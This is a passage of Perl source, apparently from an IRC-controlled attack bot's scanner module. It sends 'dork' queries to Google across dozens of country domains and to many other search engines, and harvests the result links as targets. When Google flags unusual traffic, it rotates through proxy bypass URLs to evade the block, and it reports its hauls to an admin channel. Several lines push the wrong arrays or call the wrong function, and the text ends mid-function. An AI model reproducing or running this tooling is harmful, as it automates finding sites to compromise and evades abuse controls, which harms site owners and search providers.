if ($engine eq "GooGLeAE") { my @googleAE = googleAE($dork); push(@total,@googleAE); }
if ($engine eq "GooGLeCZ") { my @googleCZ = googleCZ($dork); push(@total,@googleCZ); }
if ($engine eq "GooGLeHU") { my @googleHU = googleHU($dork); push(@total,@googleHU); }
if ($engine eq "GooGLeID") { my @googleID = googleID($dork); push(@total,@googleID); }
if ($engine eq "GooGLePH") { my @googlePH = googlePH($dork); push(@total,@googlePH); }
if ($engine eq "GooGLeSI") { my @googleSI = googleSI($dork); push(@total,@googleSI); }
if ($engine eq "GooGLeVN") { my @googleVN = googleVN($dork); push(@total,@googleVN); }
if ($engine eq "GooGLeRS") { my @googleRS = googleRS($dork); push(@total,@googleRS); }
if ($engine eq "GooGLeSG") { my @googleSG = googleSG($dork); push(@total,@googleSG); }
if ($engine eq "GooGLePK") { my @googlePK = googlePK($dork); push(@total,@googlePK); }
if ($engine eq "GooGLeME") { my @googleME = googleME($dork); push(@total,@googleME); }
if ($engine eq "GooGLeKZ") { my @googleKZ = googleKZ($dork); push(@total,@googleKZ); }
if ($engine eq "GooGLeAF") { my @googleAF = googleAF($dork); push(@total,@googleAF); }
if ($engine eq "GooGLeAL") { my @googleAL = googleAL($dork); push(@total,@googleAL); }
if ($engine eq "GooGLeDZ") { my @googleDZ = googleDZ($dork); push(@total,@googleDZ); }
if ($engine eq "GooGLeAO") { my @googleAO = googleAO($dork); push(@total,@googleAO); }
if ($engine eq "GooGLeAM") { my @googleAM = googleAM($dork); push(@total,@googleAM); }
if ($engine eq "GooGLeAZ") { my @googleAZ = googleAZ($dork); push(@total,@googleAZ); }
if ($engine eq "GooGLeBH") { my @googleBH = googleBH($dork); push(@total,@googleBH); }
if ($engine eq "GooGLeBD") { my @googleBD = googleBD($dork); push(@total,@googleBD); }
if ($engine eq "GooGLeBY") { my @googleBY = googleBY($dork); push(@total,@googleBY); }
if ($engine eq "GooGLeBT") { my @googleBT = googleBT($dork); push(@total,@googleBT); }
if ($engine eq "GooGLeBO") { my @googleBO = googleBO($dork); push(@total,@googleBO); }
if ($engine eq "GooGLeBA") { my @googleBA = googleBA($dork); push(@total,@googleBA); }
if ($engine eq "GooGLeBG") { my @googleBG = googleBG($dork); push(@total,@googleBG); }
if ($engine eq "GooGLeBN") { my @googleBN = googleBN($dork); push(@total,@googleBN); }
if ($engine eq "GooGLeKH") { my @googleKH = googleKH($dork); push(@total,@googleKH); }
if ($engine eq "GooGLeCM") { my @googleCM = googleCM($dork); push(@total,@googleCM); }
if ($engine eq "GooGLeCR") { my @googleCR = googleCR($dork); push(@total,@googleCR); }
if ($engine eq "GooGLeHR") { my @googleHR = googleHR($dork); push(@total,@googleHR); }
if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
if ($engine eq "GooGLeCY") { my @googleCY = googleCY($dork); push(@total,@googleCY); }
if ($engine eq "GooGLeDM") { my @googleDM = googleDM($dork); push(@total,@googleDM); }
if ($engine eq "GooGLeEC") { my @googleEC = googleEC($dork); push(@total,@googleEC); }
if ($engine eq "GooGLeEG") { my @googleEG = googleEG($dork); push(@total,@googleEG); }
if ($engine eq "GooGLeEE") { my @googleEE = googleEE($dork); push(@total,@googleEE); }
if ($engine eq "GooGLeFI") { my @googleFI = googleFI($dork); push(@total,@googleFI); }
if ($engine eq "GooGLeGE") { my @googleGE = googleGE($dork); push(@total,@googleGE); }
if ($engine eq "GooGLeGH") { my @googleGH = googleGH($dork); push(@total,@googleGH); }
if ($engine eq "GooGLeHN") { my @googleHN = googleHN($dork); push(@total,@googleHN); }
if ($engine eq "GooGLeHK") { my @googleHK = googleHK($dork); push(@total,@googleHK); }
if ($engine eq "GooGLeIS") { my @googleIS = googleIS($dork); push(@total,@googleIS); }
if ($engine eq "GooGLeKE") { my @googleKE = googleKE($dork); push(@total,@googleKE); }
if ($engine eq "GooGLeKW") { my @googleKW = googleKW($dork); push(@total,@googleKW); }
if ($engine eq "GooGLeLA") { my @googleLA = googleLA($dork); push(@total,@googleLA); }
if ($engine eq "GooGLeLV") { my @googleLV = googleLV($dork); push(@total,@googleLV); }
if ($engine eq "GooGLeLT") { my @googleLT = googleLT($dork); push(@total,@googleLT); }
if ($engine eq "GooGLeLY") { my @googleLY = googleLY($dork); push(@total,@googleLY); }
if ($engine eq "GooGLeMK") { my @googleMK = googleMK($dork); push(@total,@googleMK); }
if ($engine eq "GooGLeMT") { my @googleMT = googleMT($dork); push(@total,@googleMT); }
if ($engine eq "GooGLeMZ") { my @googleMZ = googleMZ($dork); push(@total,@googleMZ); }
if ($engine eq "GooGLeNA") { my @googleNA = googleNA($dork); push(@total,@googleNA); }
if ($engine eq "GooGLeNR") { my @googleNR = googleNR($dork); push(@total,@googleNR); }
if ($engine eq "GooGLeNP") { my @googleNP = googleNP($dork); push(@total,@googleNP); }
if ($engine eq "GooGLeNG") { my @googleNG = googleNG($dork); push(@total,@googleNG); }
if ($engine eq "GooGLePY") { my @googlePY = googlePY($dork); push(@total,@googlePY); }
if ($engine eq "GooGLePE") { my @googlePE = googlePE($dork); push(@total,@googlePE); }
if ($engine eq "GooGLePR") { my @googlePR = googlePR($dork); push(@total,@googlePR); }
if ($engine eq "GooGLeQA") { my @googleQA = googleQA($dork); push(@total,@googleQA); }
if ($engine eq "GooGLeSA") { my @googleSA = googleSA($dork); push(@total,@googleSA); }
if ($engine eq "GooGLeSN") { my @googleSN = googleSN($dork); push(@total,@googleSN); }
if ($engine eq "GooGLeSK") { my @googleSK = googleSK($dork); push(@total,@googleSK); }
if ($engine eq "GooGLeLK") { my @googleLK = googleLK($dork); push(@total,@googleLK); }
if ($engine eq "GooGLeTJ") { my @googleTJ = googleTJ($dork); push(@total,@googleTJ); }
if ($engine eq "GooGLeTZ") { my @googleTZ = googleTZ($dork); push(@total,@googleTZ); }
if ($engine eq "GooGLeTK") { my @googleTK = googleTK($dork); push(@total,@googleTK); }
if ($engine eq "GooGLeTO") { my @googleTO = googleTO($dork); push(@total,@googleTO); }
if ($engine eq "GooGLeTN") { my @googleTN = googleTN($dork); push(@total,@googleTN); }
if ($engine eq "GooGLeUY") { my @googleUY = googleUY($dork); push(@total,@googleUY); }
if ($engine eq "GooGLeUZ") { my @googleUZ = googleUZ($dork); push(@total,@googleUZ); }
if ($engine eq "GooGLeVE") { my @googleVE = googleVE($dork); push(@total,@googleVE); }
if ($engine eq "GooGLeZM") { my @googleZM = googleZM($dork); push(@total,@googleZM); }
if ($engine eq "GooGLeUG") { my @googleUG = googleUG($dork); push(@total,@googleUG); }
if ($engine eq "GooGLeTT") { my @googleTT = googleTT($dork); push(@total,@googleTT); }
if ($engine eq "GooGLeZW") { my @googleZW = googleZW($dork); push(@total,@googleZW); }
    if ($engine eq "GooGLeMM") { my @googleMM = googleDE($dork); push(@total,@googleMM); }
    if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
    if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
    if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
    if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
    if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
    if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
    if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
    if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
    if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
    if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
    if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
    if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
    if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
    if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
    if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
    if ($engine eq "GooGLeORG") { my @googleORG = googleORG($dork." site:org"); push(@total,@googleBR); }
    if ($engine eq "GooGLeASIA") { my @googleASIA = googleASIA($dork." site:asia"); push(@total,@googleORG); }
    if ($engine eq "GooGLeGOV") { my @googleGOV = googleGOV($dork." site:gov"); push(@total,@googleASIA); }
    if ($engine eq "GooGLeNET") { my @googleNET = googleNET($dork." site:net"); push(@total,@googleGOV); }
    if ($engine eq "GooGLeXXX") { my @googleXXX = googleXXX($dork." site:xxx"); push(@total,@googleNET); }
    if ($engine eq "GooGLeWS") { my @googleWS = googleWS($dork." site:ws"); push(@total,@googleWS); }
    #if ($engine eq "dorklist") { my @dorklist = dorklist($dork." site:br"); push(@total,@dorklist); }
    if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
    if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
    if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
    if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
    if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
    if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
    if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
    if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
    if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
    if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
    if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
    if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
    if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
    if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
    if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
    if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
    if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
    if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
    if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
    if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
    if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
    if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
    if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
    if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
    if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
    if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
    if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
    if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
    if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
    if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
    if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
    if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
    if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
    if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
    if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
    if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
    if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
    if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
    if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
    if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
    if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
    if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
    if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
    if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
    if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
    if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
    if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
    if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
    if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
    if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
    if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
    if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
    if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
    if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
    if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
    if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
    if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
    if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
    if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
    if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
    if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
    if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
    if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
    if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
    
    @clean = &clean(@total);
    if(@clean > 0) { 
#	&msg("$chan",$art{"front"}."10ID:".$id."".$art{"div"}."15".uc($engine).$art{"div"}."14 ".scalar(@clean)."".$art{"back"});
    }

    return @clean;
}

sub google {
    my @list;
    my ($chan, $key, $dom, $mode, $sleep) = @_;
    my $ctr = "";
    my $dir = "";

    if($dom =~ /\./) {
        if($dom eq "com.hk") {
            $ctr = "&cr=countryCN";
            $dir = "cn";
        } else {
            my @doms = split(/\./, $dom);
            $ctr = "&cr=country".uc($doms[1]);
            $dir = lc($doms[1]);
        }
    } else {
        if($dom eq "com") { $ctr = ""; $dir = "com";
        } else { $ctr = "&cr=country".uc($dom); $dir = lc($dom);}
    }
            
    if($gscan > 0) {
        my $rand =  $gbypass[rand(scalar(@gbypass))];

       for (my $i=0; $i <= 1000; $i+=100){
           if($i > 0) { sleep(20);}
           my $rand1 = "";
           my $jack = "";

           $jack = ($mode == 2) ? $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q=" : "http://www.google.".$dom."/search?q=";

           my $search = ($jack.$key.$ctr."&num=100&filter=0&start=".$i);
           my $res = &engineQuery($search);

           if($res =~ /ipv4\.google\.com/ || $res =~ /ipv6\.google\.com/|| $res =~ /detected\sunusual\straffic/) {
               $rand1 = $gbypass[rand(scalar(@gbypass))];
               $jack = $rand1."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q=";
               $search = ($jack.$key.$ctr."&num=100&start=".$i);
               $res = &engineQuery($search);
           }

           while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
               my $link = $1;
               if ($link !~ /$badsite/){
                   my @grep = &links($link);
                   push(@list,@grep);
               }
           }
       }
    }
    
    &msg($data{"admin"}, "Data from GOOGLE".uc($dom)." : ".scalar(@list));
    
    my @google2 = &googleApi(0,$dir,$key);
    if(scalar(@google2) > 0) {    
        push(@list,@google2);
        &msg($data{"admin"}, "WITH GOOGLEAPI FOR GOOGLE".uc($dom)." : ".scalar(@list));
    }
    return @list;
}

sub googleApi {
    my ($tld,$dom,$key) = @_;
    my @list;
    my $ctr;
    
    my $gUrl = ($gApi eq "") ? "" : "&key=".$gApi;
    
    if(!$tld) {
        $ctr = ($dom ne "com") ? "&cr=country".uc($dom) :"";
    } else {
        $ctr = "";
        $key = $key."%2Bsite%3A".lc($key);
    }
     
    for(my $i = 0; $i <= 15;$i++) {
         my $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw".$gUrl."&rsz=8".$ctr."&start=".$i."&q=".$key;
         my $check = &get_content($url);
         sleep(2);
        
         if($check !~ /visibleUrl/ig) { $i = 15; }
         while($check =~ m/\"visibleUrl\"\:\"(.+?)\"/ig) {
            my $link = $1;
            if ($link !~ /$badsite/){
                push(@list,$link);
            }
        }
    }
    return @list;
}

sub coi {
    my @list;
    my ($key, $dom, $tipe, $mode, $sleep) = @_;
    my $jack = ($mode == 2)  ? $racrew[int(rand(scalar(@racrew)))] : $racrew[$tipe];

    for (my $i=0; $i <= 1000; $i+=100){
        if($i > 0) { sleep(10);}
        
        my $search = ($jack.$pgfa[$tipe].$key."%2Bsite%3A".$dom."%26num%3D100%26start%3D".$i);
        my $res    = &engineQuery($search);
        
        if($res =~ /ipv4\.google\.com/ || $res =~ /ipv6\.google\.com/|| $res =~ /detected\sunusual\straffic/) {
            $jack   = $racrew[int(rand(scalar(@racrew)))];
            $search = ($jack.$pgfa[$tipe].$key."%2Bsite%3A".$dom."%26num%3D100%26start%3D".$i);
            $res    = &engineQuery($search);
        }
   
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /$badsite/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    my @google2 = &googleApi(1,$dom,$key);
    if(scalar(@google2) > 0) {    
        push(@list,@google2);
    }
    return @list;
}

sub coiGetData {
    my ($chan,$key,$engine, $tipe) = @_;
    my (@clean,@list);
    my $dom = (lc($engine) eq "google")  ? "com" : lc(substr($engine,-2));
    my $dom2 = $dom;

    if($dom eq "com") {
        $ctr = "";
    } else {
        my %doms = ("uk" => "co.uk",
   "nz" => "co.nz",
   "br" => "com.br",
   "ar" => "com.ar",
   "co" => "com.co",
   "cu" => "com.cu",
   "mx" => "com.mx",
   "au" => "com.au",
   "il" => "co.il",
   "tr" => "com.tr",
   "ua" => "com.ua",
   "jp" => "co.jp",
   "cn" => "com.hk",
   "my" => "com.my",
   "th" => "co.th",
   "in" => "co.in",
   "kr" => "co.kr",
   "tw" => "com.tw",
   "za" => "co.za",
   "id" => "co.id",
   "ke" => "co.ke",
   "ec" => "com.ec",
   "vn" => "com.vn",
   "zm" => "co.zm",
   "ph" => "com.ph"  
            );
        if($doms{"$dom"}) {
            $ctr = "&cr=country".uc($dom);
            $dom = $doms{"$dom"};
        } else {
            $ctr = "&cr=country".uc($dom);
        }
    }

    my $rand =  $lbypass[rand(scalar(@lbypass))];

    for (my $i=0; $i <= 1000; $i+=100){
        if($i > 0) { sleep(20);}
        my $jack = "http://www.google.".$dom."/search?q=";

        my $search = ($jack.$key.$ctr."&num=100&filter=0&start=".$i);
        my $res = &engineQuery($search);

        if($res =~ /ipv4\.google\.com/ig or $res =~ /ipv6\.google\.com/ig or $res =~ /detected\sunusual\straffic/ig ) {
            $jack = $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q=";
            $search = ($jack.$key.$ctr."&num=100&start=".$i);
            $res = &engineQuery($search);

            if($res =~ /ipv4\.google\.com/ig or $res =~ /ipv6\.google\.com/ig or $res =~ /detected\sunusual\straffic/ig) {
                $rand = "";
                $rand = $lbypass[rand(scalar(@lbypass))];
                $jack = $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q=";
                $search = ($jack.$key.$ctr."&num=100&start=".$i);
                $res = &engineQuery($search);

                if($res =~ /ipv4\.google\.com/ig or $res =~ /ipv6\.google\.com/ig or $res =~ /detected\sunusual\straffic/ig) {
                    $rand = "";
                    $rand = $racrew[int(rand(scalar(@racrew)))];
                    $jack = $rand."?____pgfa=https%3A%2F%2Fwww.google.".$dom."%2Fsearch?q=";
                    $search = ($jack.$key.$ctr."&num=100&start=".$i);
                    $res = &engineQuery($search);
                }
            }
        }
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /$badsite/){
                my @grep = &links($link);
                push(@list,@grep);
            }
       }
    }

    my @google2 = &googleApi(0,$dom2,$key);
    if(scalar(@google2) > 0) {    
        push(@list,@google2);
    }
    
    @clean = &clean(@list);
    return @clean;
    
}
sub coiGetDork {
    my ($chan, $engine) = @_;
    my @result = ("false");
    if(-e "dork.txt") {
        my $ndork = &newDork($engine);
        if($ndork) {
            if($engine =~ /google/i){
                my @ndata = &coiGetData($chan,$ndork,$engine,"data");
                if(scalar(@ndata) > 0) {
                    @result = ();
                    @result = @ndata;
                } else {
                    &coiGetDork($chan, $engine);
                }
            } else {
                if(lc($engine) !~ /$oth/) {
                    my $tipe  = int(rand(scalar(@pgfa)));
                    my $dom   = lc($engine);
                    my @ndata = &coi($ndork, $dom, $tipe, 1, 20);
                    my @clean = &clean(@ndata);
                    if(scalar(@clean) > 0) {
                        @result = ();
                        @result = @clean;
                    } else {
                        &coiGetDork($chan, $engine);
                    }
                }
                
            }
        }
    }
    return @result;
        
}
#------------------------------- END BYPASS --------------------------------------------------------#
sub seznam {
	my @list;
    my $key = $_[0];
        
    for (my $i=1; $i<=500; $i+=50) {
        if($i > 1) { sleep(8);}
        
        my $search = ("http://search.seznam.cz/?q=".$key."&count=20&from=".$i);
        my $res = &engineQuery($search);
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
            my $link = $1;
            if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
                my @grep = &links($link);
                push(@list,@grep);
            }
        } 
    }
    return @list;
}

sub searchnz {
	my @list;
    my $key = $_[0];

	for (my $i=1; $i <=500; $i+=50) {
        if($i > 1) { sleep(8);}
        
        my $search = ("http://searchnz.co.nz/search.aspx?q=".$key."&gr=false&np=".$i);
        my $res =&engineQuery($search);
        while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) {
        if ($1 !~ /webads\.co\.nz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
       
    }
    return @list;
}

sub biglobe {
  my @list;
  my $key = $_[0];
 
  for (my $i=1; $i<=500; $i+=50) {
    if($i > 1) { sleep(8);}
    $num += $num;
    my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$i."&ie=utf8&num=".$num."&q=".$key."&lr=all";
    my $res = &engineQuery($search);
    while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
	    my $link = $1;
        if ($link !~ /biglobe/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub hotbot {
	my @list;
	my $key = $_[0];
	my $web = &get_content('http://www.hotbot.com');
	my $token;
	if($web =~ m/\.val\(\'(.+?)\'\)/g ){
		$token = $1;
	}
	for (my $i=1; $i<=50; $i++) {
		if($i > 1) { sleep(8); }
		
		my $search = ("http://www.hotbot.com/search/web?pn=".$i."&q=".$key."&keyvol=".$token);
		my $res = &engineQuery($search);
		
		if ($res =~ m/had no web result/i) {$i=50;}
		while ($res =~ /\<span class\=\"web-baseuri\"\>(.+)\<\/span\>/g) {
			my $link = $1;
			if ($link !~ /$badsite/){
				my @grep = &links($link);
				push(@list,@grep);
			}
		}
	}
	return @list;   
}

sub uol {
	my @list;
    my $key = $_[0];

    for (my $i=0; $i<=1000; $i+=100) {
        if($i > 0) { sleep(8);}
        
        my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".$key."&start=".$i);
        my $res = &engineQuery($search);
		if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
        while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
            my $link = $1;
            if ($link !~ /uol\.com\.br|\/web/i){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub onet {
	my @list;
    my $key = $_[0];

	for (my $i=1; $i<=600; $i+=60) {
		if($i > 1) { sleep(8);}
        
        my $search = ("http://szukaj.onet.pl/".$i.",query.html?qt=".$key);
		my $res = &engineQuery($search);
		while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
			my $link = $1;
			if ($link !~ /onet|webcache|query/){
				my @grep = &links($link);
                push(@list,@grep);
			}
		}
	}
	return @list;
}

sub walla {
    my @list;
    my $key = $_[0];

	for (my $i=0; $i<=1000; $i+=10) {
        if($i > 0) { sleep(8);}
        
        my $search = ("http://search.walla.co.il/?q=".$key."&type=text&page=".$i);
        my $res = &engineQuery($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
            my $link = $1;
            if ($link !~ /walla\.co\.il/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahoo{
    my @list;
	my $key = $_[0];
	for (my $i =1; $i<=200; $i+=10) {
        if($i > 0) { sleep(10);}
        my $search = ("http://search.yahoo.com/search?p=".$key."&b=".$i);
        my $res =  &engineQuery($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link !~ /yahoo\.com/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub dogpile {
    my @list;
    my $key = $_[0];
    
    for (my $i = 1; $i<=901; $i+= 10) {
        if($i > 0) { sleep(8);}
        my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$i."&q=".$key);
        my $res = &engineQuery($search);
        while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) target=\"_blank\">(.+?)<\/a>/g) {
            my $link = $2;
            if ($link!~ /dogpile/) {
                my @grep=links($link);
		          push(@list,@grep);
           }
       }
   }
   return @list;
}

sub bing {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=300; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".$key."&first=".$i);
        my $res = &engineQuery($search);
        while ($res =~ m/<a href=\"http:\/\/([^\"]*)\"/g) {
			my $link = $1;
            if ($link !~ /google/) {
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
      sleep(3);
    }
    return @list;
}

sub itil() {
	my @list;
	my $key = $_[0];
	for (my $i=1; $i<=1000; $i+=100) {
		my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
		my $res = search_engine_query($search);
		while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
			if ($link !~ /ask\.com/){
				my @grep = links($link);
				push(@list,@grep);
			}
		}
	}
	return @list;
}

sub nennen() {
	my @list;
	my $key = $_[0];
	my $b   = 0;
	for ($b=1; $b<=400; $b+=10) {
		my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
		my $res = search_engine_query($search);
		while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
			my $link = $1;
			if ($link !~ /onet|webcache|query/){
				my @grep = links($link);
                push(@list,@grep);
			}
		}
	}
	return @list;
}

sub susu() {
    my @list;
	my $key = $_[0];
    my $b   = 0;
	for ($b=10; $b<=200; $b+=10) {
        my $search = ("http://new.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
        my $res = search_engine_query($search);
		if ($res !~ /next/) {$b=100;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($1 !~ /yippy\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub buahdada() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=400; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
			my $link = $1;
            if ($link !~ /google/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub payudara(){
    my @list;
	my $key = $_[0];
	for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
        my $res = search_engine_query($search);
		if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($1 !~ /\.sapo\.pt/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub kentot() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
        my $res = search_engine_query($search);
        while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link !~ /lycos\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub emel() {
	my @list;
	my $key = $_[0];
    for ($b=0; $b<=1000; $b+=10) {
